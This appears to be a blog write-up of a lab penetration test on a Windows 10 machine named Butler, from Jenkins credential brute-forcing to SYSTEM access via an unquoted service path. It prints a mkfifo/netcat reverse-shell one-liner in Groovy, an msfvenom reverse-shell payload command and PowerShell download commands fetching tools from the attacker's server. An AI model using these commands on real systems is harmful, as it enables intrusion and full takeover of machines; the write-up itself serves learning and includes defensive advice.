September 28, 2026
Windows VAPT: From Jenkins Exploitation to SYSTEM Privilege
Introduction
By Najeebparkar
15 min read
Introduction
In this lab, I performed a complete penetration-testing assessment against a vulnerable Windows machine named Butler.
The objective was to start with network reconnaissance, identify exposed services, discover a vulnerable Jenkins instance, obtain initial access, enumerate the Windows environment, identify a privilege-escalation vulnerability, and finally obtain NT AUTHORITY\SYSTEM access.
The assessment involved:
- Network and service enumeration
- Web enumeration
- FFUF directory discovery
- Jenkins authentication testing
- Burp Suite request interception
- Credential brute-forcing in a controlled lab
- Jenkins Script Console exploitation
- Reverse shell establishment
- Windows system enumeration
- WinPEAS privilege-escalation enumeration
- Windows service enumeration
- Unquoted service path identification
- Malicious executable replacement
- Service manipulation
- SYSTEM-level privilege escalation
This lab was especially valuable because it demonstrated that obtaining an initial shell is often only the beginning of a Windows penetration test.
1. Lab Environment
Attacker Machine
Kali Linux
IP: 192.168.234.129Kali Linux
IP: 192.168.234.129Target Machine
Windows 10
Hostname: BUTLER
IP: 192.168.234.134Windows 10
Hostname: BUTLER
IP: 192.168.234.134The machines were running inside an isolated VMware lab environment.
2. Initial Reconnaissance
I started the assessment by performing a full TCP port scan with service, version, and operating-system detection.
nmap -A -p- 192.168.234.134nmap -A -p- 192.168.234.134Command Breakdown
nmap
Nmap is a network discovery and security auditing tool used to identify:
- Open ports
- Running services
- Service versions
- Operating systems
- Potential attack surfaces
-A
The -A option enables several advanced detection capabilities, including:
- Service/version detection
- OS detection
- Default NSE scripts
- Traceroute
-p-
This tells Nmap to scan all TCP ports from:
1-655351-65535Instead of limiting the scan to common ports, I wanted to make sure that an unusual service would not be missed.
3. Nmap Results
The scan showed that the target was alive and running Windows.
Nmap also identified the operating system as:
Microsoft Windows 10Microsoft Windows 10with the scan reporting Windows 10 version information.
The presence of several Windows RPC and SMB-related services was expected, but I was particularly interested in the web service running on the target.
4. Discovering the Jenkins Web Application
While investigating the exposed web service, I accessed the application running on port 8080.
The page displayed a Jetty/Jenkins-based interface with a login page.
At this point, I did not have valid credentials.
I tried a few likely credentials manually, but they were unsuccessful.
Rather than immediately assuming the application was not exploitable, I continued enumeration.
5. Web Enumeration with FFUF
I used FFUF to discover additional paths exposed by the web application.
The command was:
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-u http://192.168.234.134:8080/FUZZ \
-fc 403ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-u http://192.168.234.134:8080/FUZZ \
-fc 403Command Breakdown
-w
Specifies the wordlist that FFUF should use.
In this case:
directory-list-2.3-medium.txtdirectory-list-2.3-medium.txt-u
Specifies the target URL.
FUZZ is replaced by each word from the wordlist.
-fc 403
Filters out responses with HTTP status code 403.
This helps reduce noise from paths that are simply forbidden.
6. Interesting FFUF Results
The enumeration returned several paths:
The /git and /cli paths were also interesting from an enumeration perspective.
However, nothing immediately provided direct access.
At this point, I decided to focus on the login functionality itself.
7. Inspecting the Login Request with Burp Suite
I opened the login page and attempted authentication.
Instead of simply looking at the visible login form, I intercepted the request using Burp Suite.
The request contained:
POST /j_spring_security_check HTTP/1.1
Host: 192.168.234.134:8080
Content-Type: application/x-www-form-urlencodedPOST /j_spring_security_check HTTP/1.1
Host: 192.168.234.134:8080
Content-Type: application/x-www-form-urlencodedThe important part was the POST body:
j_username=user&j_password=pass&from=%2F&Submit=Sign+inj_username=user&j_password=pass&from=%2F&Submit=Sign+inThis revealed the parameters used by the Jenkins authentication mechanism:
j_username
j_passwordj_username
j_passwordThis was useful because it showed exactly how the application was processing the username and password fields.
8. Sending the Request to Burp Intruder
I sent the login request to Burp Intruder.
The goal was to test a small set of likely credentials against the lab Jenkins instance.
Because this was my own intentionally vulnerable lab environment, I created a small custom wordlist containing usernames that could reasonably exist on the machine.
I also created a small password list appropriate for the lab.
9. Using a Cluster Bomb Attack
I configured the Intruder attack as a Cluster Bomb attack.
This allowed me to test combinations of:
Username ร PasswordUsername ร PasswordThe important point was not simply trying random credentials.
The Burp Intruder results showed that most responses had a similar response length, while some requests produced noticeably different responses.
For example, many responses had a length around:
318318after that a sudden drop, which is suspicious.
The response behavior indicated that this combination should be investigated further.
10. Obtaining Jenkins Access
I tested the credentials associated with the anomalous response.
The credentials successfully authenticated to Jenkins.
This gave me access to the Jenkins management interface.
At this point, I had achieved the initial foothold.
However, simply having access to Jenkins was not the final objective.
The next question was:
What can an authenticated Jenkins user do on the underlying operating system?
11. Investigating Jenkins
Jenkins is an automation server commonly used for:
- Continuous Integration
- Continuous Delivery
- Automated builds
- Software testing
- Deployment
Depending on its configuration and permissions, Jenkins may be able to execute commands on the underlying operating system.
While researching the available Jenkins functionality, I discovered the Script Console.
The Script Console was particularly interesting because it allows administrators to execute Groovy code on the Jenkins server.
If an attacker gains access to a Jenkins instance with sufficient privileges, this functionality can potentially become a direct path to operating-system command execution.
12. Attempting a Reverse Shell
I wanted to establish an interactive shell from the Jenkins server back to Kali.
First, I started a Netcat listener on Kali:
nc -lvnp 4444nc -lvnp 4444
This means:
-lโ listen-vโ verbose output-nโ don't perform DNS resolution-p 4444โ listen on port 4444
My Kali machine was:
192.168.234.129192.168.234.12913. First Reverse Shell Attempt
I initially tested a Groovy payload that attempted to execute Netcat:
String host = "192.168.234.129";
int port = 4444;String host = "192.168.234.129";
int port = 4444;
However, the connection did not arrive.
This was an important part of the learning process.
A payload that works in one environment does not necessarily work in another.
The target environment, available binaries, shell behavior, payload syntax, and network configuration can all affect whether a reverse shell succeeds.
14. Troubleshooting the Reverse Shell
I tested several variations of the payload.
I also tested a named-pipe based approach:
String host = "192.168.234.129";
int port = 4444;
String[] cmd = [
"/bin/sh",
"-c",
"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + host + " " + port + " >/tmp/f"
];
Process p = new ProcessBuilder(cmd)
.redirectErrorStream(true)
.start();
p.inputStream.text;String host = "192.168.234.129";
int port = 4444;
String[] cmd = [
"/bin/sh",
"-c",
"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + host + " " + port + " >/tmp/f"
];
Process p = new ProcessBuilder(cmd)
.redirectErrorStream(true)
.start();
p.inputStream.text;These attempts did not produce the expected connection.
Instead of stopping, I continued investigating how Jenkins' Script Console could interact with the underlying operating system.
15. Successful Reverse Shell
The successful approach used Java's networking capabilities directly.
Jenkins provides several Java and Jenkins-related classes through the Script Console environment.
I used a Groovy script that:
- Started a shell process.
- Created a TCP socket to Kali.
- Connected the shell's input/output streams to the socket.
- Maintained the connection between the shell and the attacker listener.
The core concept was:
Jenkins Script Console
โ
Create Windows/OS process
โ
Create TCP socket
โ
Connect to Kali
โ
Redirect input/output
โ
Interactive shellJenkins Script Console
โ
Create Windows/OS process
โ
Create TCP socket
โ
Connect to Kali
โ
Redirect input/output
โ
Interactive shellAfter executing the working payload, the listener on Kali received a connection.
I finally obtained a shell on the target.
16. Initial Shell Obtained
The shell identified the machine as:
I was initially operating with the privileges of the Jenkins service account rather than SYSTEM.
This distinction was important.
Getting a shell does not automatically mean the machine has been fully compromised at the highest privilege level.
The next objective was therefore:
Privilege escalation.
17. Windows System Enumeration
I started by checking system information:
systeminfosysteminfoThe target reported:
This confirmed that the target was a Windows 10 x64 machine running inside VMware.
18. Enumerating User Directories
I also checked the C:\Users directory:
cd C:\Users
dircd C:\Users
dirThe output showed directories including:
This gave me additional information about the local user environment.
I continued performing basic enumeration, but nothing immediately provided a direct privilege-escalation path.
19. Using WinPEAS
At this point, I decided to use WinPEAS to automate a large portion of Windows privilege-escalation enumeration.
WinPEAS is a Windows privilege-escalation enumeration tool that checks a wide range of potential weaknesses, including:
- Services
- File permissions
- Registry configuration
- Scheduled tasks
- Installed software
- Credentials
- PATH configuration
- DLL hijacking opportunities
- Unquoted service paths
- Other privilege-escalation indicators
On Kali, WinPEAS was already available.
I located it under:
/usr/share/peass/winpeas/usr/share/peass/winpeasI copied the executable into my lab working directory:
20. Hosting WinPEAS from Kali
I started a simple Python HTTP server from the directory containing WinPEAS:
python3 -m http.server 80python3 -m http.server 80The server displayed:
This allowed the Windows target to download the enumeration tool directly from my Kali machine.
21. Downloading WinPEAS to Windows
On the Windows shell, I used PowerShell:
powershell -c "Invoke-WebRequest -Uri http://192.168.234.129/winPEASx64.exe -OutFile C:\Users\butler\AppData\Local\Temp\peas.exe"powershell -c "Invoke-WebRequest -Uri http://192.168.234.129/winPEASx64.exe -OutFile C:\Users\butler\AppData\Local\Temp\peas.exe"
Command Breakdown
Invoke-WebRequest
PowerShell's web-request functionality.
It can retrieve files from an HTTP server.
-Uri
Specifies the URL:
http://192.168.234.129/winPEASx64.exehttp://192.168.234.129/winPEASx64.exe-OutFile
Specifies where the downloaded file should be saved.
I placed it in:
C:\Users\butler\AppData\Local\Temp\peas.exeC:\Users\butler\AppData\Local\Temp\peas.exeThe Temp directory was convenient for executing a temporary enumeration tool.
22. Running WinPEAS
I executed:
.\peas.exe.\peas.exeWinPEAS produced a large amount of information.
Rather than reading every line equally, I focused on findings that could potentially provide a path from my current user to a higher-privileged account.
One finding immediately stood out.
23. Important WinPEAS Finding
WinPEAS identified the following service:
The service was associated with:
C:\Program Files (x86)\Wise\Wise Care 365\BootTime.exeC:\Program Files (x86)\Wise\Wise Care 365\BootTime.exeThe important part of the WinPEAS output was:
WiseBootAssistant
Auto
Running
No quotes and Space detectedWiseBootAssistant
Auto
Running
No quotes and Space detectedIt also reported:
YOU CAN MODIFY THIS SERVICE: AllAccessYOU CAN MODIFY THIS SERVICE: AllAccessand indicated that the executable path contained spaces and was not enclosed in quotation marks.
This was a very interesting privilege-escalation opportunity.
24. Understanding an Unquoted Service Path
Windows services can have executable paths such as:
C:\Program Files (x86)\Wise\Wise Care 365\BootTime.exeC:\Program Files (x86)\Wise\Wise Care 365\BootTime.exeIf the path is not enclosed in quotation marks, Windows can potentially interpret the path in unexpected ways when resolving the executable.
For example, a path containing spaces can create ambiguity between different possible executable locations.
This class of issue is commonly known as an:
Unquoted Service Path vulnerability.
The important conditions are:
- The service executable path contains spaces.
- The path is not quoted.
- A lower-privileged user can place or modify a suitable executable in the relevant location.
- The service runs with higher privileges.
- The service can be restarted or otherwise triggered.
In this lab, WinPEAS indicated that the service and relevant files were writable in a way that made this attack path possible.
25. Identifying the Vulnerable Service
The service was:
WiseBootAssistantWiseBootAssistantand its executable was associated with:
C:\Program Files (x86)\Wise\Wise Care 365\BootTime.exeC:\Program Files (x86)\Wise\Wise Care 365\BootTime.exeThe directory contained spaces:
Program Files (x86)
Wise Care 365Program Files (x86)
Wise Care 365and the service configuration lacked appropriate quoting.
This meant that manipulating the service executable path could potentially cause Windows to execute a different executable with the service's privileges.
26. Creating a Malicious Executable
To demonstrate the privilege-escalation path in the isolated lab, I created a reverse-shell executable using msfvenom.
On Kali:
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=192.168.234.129 \
LPORT=7771 \
-f exe \
-o Wise.exemsfvenom -p windows/x64/shell_reverse_tcp \
LHOST=192.168.234.129 \
LPORT=7771 \
-f exe \
-o Wise.exeCommand Breakdown
msfvenom
A Metasploit payload-generation utility.
-p windows/x64/shell_reverse_tcp
Creates a Windows x64 reverse TCP shell payload.
LHOST
Specifies the IP address that the target should connect back to:
192.168.234.129192.168.234.129LPORT
Specifies the listening port:
77717771-f exe
Generates the payload as a Windows executable.
-o Wise.exe
Saves the generated executable as:
Wise.exeWise.exe
The filename was selected to fit the service-path manipulation scenario in the lab.
27. Hosting the Payload
I hosted the generated executable from Kali using the same Python HTTP server:
The Windows target could then download the file.
28. Downloading the Payload to Windows
I navigated to the user's Downloads directory:
cd C:\Users\butler\Downloadscd C:\Users\butler\DownloadsThen downloaded the executable:
powershell -c "Invoke-WebRequest -Uri http://192.168.234.129/Wise.exe -OutFile C:\Users\butler\Downloads\Wise.exe"powershell -c "Invoke-WebRequest -Uri http://192.168.234.129/Wise.exe -OutFile C:\Users\butler\Downloads\Wise.exe"The file was now present on the Windows target.
29. Moving the Executable into the Wise Directory
The next step was to place the executable into the directory associated with the vulnerable service.
I used:
move /Y Wise.exe "C:\Program Files (x86)\Wise"move /Y Wise.exe "C:\Program Files (x86)\Wise"
The system confirmed:
1 file(s) moved.1 file(s) moved.This was possible because the permissions identified by WinPEAS allowed modification of the relevant location.
30. Why I Did Not Execute the File Manually
At this point, I could have attempted to execute the payload manually.
However, doing so would only execute it with my current user's privileges.
The goal was different.
I wanted the Windows service itself to execute the malicious executable.
The reason was that the service operated with higher privileges.
Therefore, if the service executed my replacement executable, the resulting shell would inherit the service's security context.
This is the key concept behind the privilege escalation.
31. Stopping the Vulnerable Service
I first stopped the service:
sc stop WiseBootAssistantsc stop WiseBootAssistant
The system returned information showing that the service was stopping:
SERVICE NAME: WiseBootAssistant
STATE: 3 STOP_PENDINGSERVICE NAME: WiseBootAssistant
STATE: 3 STOP_PENDINGThe service was now being stopped so that it could subsequently be started again.
32. Preparing the Listener
Before starting the service again, I opened a Netcat listener on Kali:
nc -nvlp 7771nc -nvlp 7771
The port matched the payload configuration:
LPORT=7771LPORT=7771The listener displayed:
listening on [any] 7771listening on [any] 7771Now the environment was ready for the service to trigger the payload.
33. Starting the Service
I started the service again:
sc start WiseBootAssistantsc start WiseBootAssistant
This caused Windows to start the vulnerable service.
Because of the service-path configuration and the executable I had placed in the relevant location, the malicious executable was executed as part of the service startup process.
A connection immediately arrived at my Kali listener.
34. Receiving the SYSTEM Shell
The Kali listener displayed:
connect to [192.168.234.129] from (UNKNOWN) [192.168.234.134]connect to [192.168.234.129] from (UNKNOWN) [192.168.234.134]This confirmed that the Windows machine had connected back to Kali.
The shell was:
Microsoft Windows [Version 10.0.19043.2364]
C:\Windows\system32>Microsoft Windows [Version 10.0.19043.2364]
C:\Windows\system32>The next step was to verify the privileges.
I executed:
whoamiwhoamiThe result was:
nt authority\systemnt authority\systemThis was the definitive confirmation that privilege escalation had succeeded.
I had obtained:
NT AUTHORITY\SYSTEM
35. Understanding the Complete Attack Chain
The entire assessment can now be summarized as:
Windows Target
192.168.234.134
โ
Nmap Enumeration
โ
Jenkins on Port 8080
โ
FFUF Directory Enumeration
โ
Jenkins Login Identified
โ
Burp Suite Request Analysis
โ
Credential Brute-Force
โ
Jenkins Authentication
โ
Jenkins Script Console
โ
Reverse Shell
โ
Initial Windows Access
โ
Windows Enumeration
โ
WinPEAS
โ
WiseBootAssistant Identified
โ
Unquoted Service Path
โ
Writable Service Directory
โ
Malicious Executable
โ
Service Restart
โ
Reverse Shell
โ
NT AUTHORITY\SYSTEMWindows Target
192.168.234.134
โ
Nmap Enumeration
โ
Jenkins on Port 8080
โ
FFUF Directory Enumeration
โ
Jenkins Login Identified
โ
Burp Suite Request Analysis
โ
Credential Brute-Force
โ
Jenkins Authentication
โ
Jenkins Script Console
โ
Reverse Shell
โ
Initial Windows Access
โ
Windows Enumeration
โ
WinPEAS
โ
WiseBootAssistant Identified
โ
Unquoted Service Path
โ
Writable Service Directory
โ
Malicious Executable
โ
Service Restart
โ
Reverse Shell
โ
NT AUTHORITY\SYSTEM36. Initial Access vs Privilege Escalation
One of the most important lessons from this lab was understanding the difference between initial access and privilege escalation.
Initial Access
The first major compromise occurred through Jenkins.
The chain was:
Jenkins Login
โ
Authenticated Jenkins Access
โ
Script Console
โ
Command Execution
โ
Reverse ShellJenkins Login
โ
Authenticated Jenkins Access
โ
Script Console
โ
Command Execution
โ
Reverse ShellThis provided access to the Windows system.
However, the shell was not initially SYSTEM.
Privilege Escalation
The second stage was:
WinPEAS
โ
WiseBootAssistant
โ
Unquoted Service Path
โ
Writable Location
โ
Malicious Executable
โ
Service Restart
โ
SYSTEMWinPEAS
โ
WiseBootAssistant
โ
Unquoted Service Path
โ
Writable Location
โ
Malicious Executable
โ
Service Restart
โ
SYSTEMThis second stage transformed the initial low-privileged foothold into complete administrative-level control of the Windows machine.
37. What Made the Privilege Escalation Possible?
Several conditions came together.
1. Vulnerable Service Configuration
The service used an executable path containing spaces without appropriate quoting.
2. Writable Location
The relevant directory/file permissions allowed the lower-privileged user to modify the location.
3. Service Execution Context
The service operated with elevated privileges.
4. Ability to Restart the Service
The service could be stopped and started during the lab.
Together, these conditions created a practical privilege-escalation path.
38. Security Impact
If the same weaknesses existed on a production Windows system, an attacker who already obtained a low-privileged foothold could potentially escalate their privileges.
SYSTEM-level access can provide extensive control over a Windows machine, including access to:
- System files
- Security-sensitive configuration
- Other users' data
- Services
- Processes
- Credentials and authentication material
- Security controls
Therefore, privilege-escalation vulnerabilities can significantly increase the impact of an initial compromise.
39. Defensive Recommendations
The lab also provided several defensive lessons.
Secure Jenkins
Jenkins should be:
- Kept updated
- Protected with strong authentication
- Properly access-controlled
- Restricted to trusted users
- Monitored for suspicious administrative activity
The Script Console should not be available to users who do not require administrative capabilities.
Protect Service Configurations
Windows service executable paths should be properly quoted when they contain spaces.
For example, instead of an ambiguous path:
C:\Program Files (x86)\Wise\Wise Care 365\BootTime.exeC:\Program Files (x86)\Wise\Wise Care 365\BootTime.exethe service should use an appropriately quoted executable path.
Restrict Service and Directory Permissions
Low-privileged users should not have unnecessary write permissions over:
- Service executable files
- Service directories
- Program installation directories
- Security-sensitive configuration files
Monitor Service Changes
Defenders should monitor:
- New services
- Service configuration changes
- Service executable modifications
- Unexpected service restarts
- Executables created in program directories
- Suspicious PowerShell downloads
- Reverse-shell-like network connections
40. Important Lessons Learned
This lab taught me several important penetration-testing concepts.
Enumeration Comes First
The initial Nmap scan provided the attack surface.
Without identifying the Jenkins service, the later exploitation path would have been much harder to discover.
HTTP Enumeration Can Reveal Attack Paths
FFUF helped identify application paths and confirmed that the target had more than just a simple login page.
Burp Suite Helps Understand Applications
Intercepting the login request allowed me to understand exactly how the application submitted authentication data.
Authentication Does Not Equal Full Compromise
Getting Jenkins credentials gave me access to the application, but I still needed to find a way to execute commands on the underlying operating system.
Failed Payloads Are Part of the Learning Process
My first reverse-shell attempts failed.
Instead of abandoning the technique, I tested different approaches and eventually established a working shell.
This was an important practical lesson:
A failed exploit attempt is often a debugging problem, not necessarily the end of the attack path.
Automated Enumeration Is Extremely Useful
WinPEAS generated a large amount of information and helped identify a potentially dangerous service configuration that would have taken longer to discover manually.
Privilege Escalation Requires Understanding Context
Finding an unquoted service path alone is not enough.
The exploitability depended on additional conditions such as write permissions and the service's execution privileges.
Always Verify the Result
The final command:
whoamiwhoamireturned:
nt authority\systemnt authority\systemThis provided clear evidence that the privilege escalation had succeeded.
Conclusion
This Butler lab was one of my most valuable Windows penetration-testing exercises because it demonstrated the complete journey from external reconnaissance to SYSTEM-level access.
The assessment started with a simple Nmap scan and gradually developed into a multi-stage attack:
Enumeration โ Jenkins Authentication โ Command Execution โ Reverse Shell โ Windows Enumeration โ Privilege Escalation โ SYSTEM
The biggest takeaway for me was that penetration testing is not simply about finding one vulnerability and exploiting it.
It is about continuously asking:
What can I learn from this result, and where can it lead next?
The Jenkins compromise provided the initial foothold.
The Windows enumeration provided the information needed to search for privilege-escalation opportunities.
WinPEAS then helped identify the vulnerable service configuration.
Finally, the service misconfiguration allowed the privilege escalation to succeed.
The final verification:
whoamiwhoamireturned:
nt authority\systemnt authority\systemconfirming that the lab machine had been fully compromised.
This exercise significantly strengthened my understanding of:
- Windows enumeration
- Jenkins security
- Web application attack surfaces
- Burp Suite
- Reverse shells
- PowerShell-based file transfer
- Windows privilege escalation
- WinPEAS
- Windows services
- Unquoted service paths
- Service permission issues
- SYSTEM-level access
Most importantly, it reinforced the value of enumeration, troubleshooting, persistence, and understanding why an exploitation technique works rather than simply memorizing commands.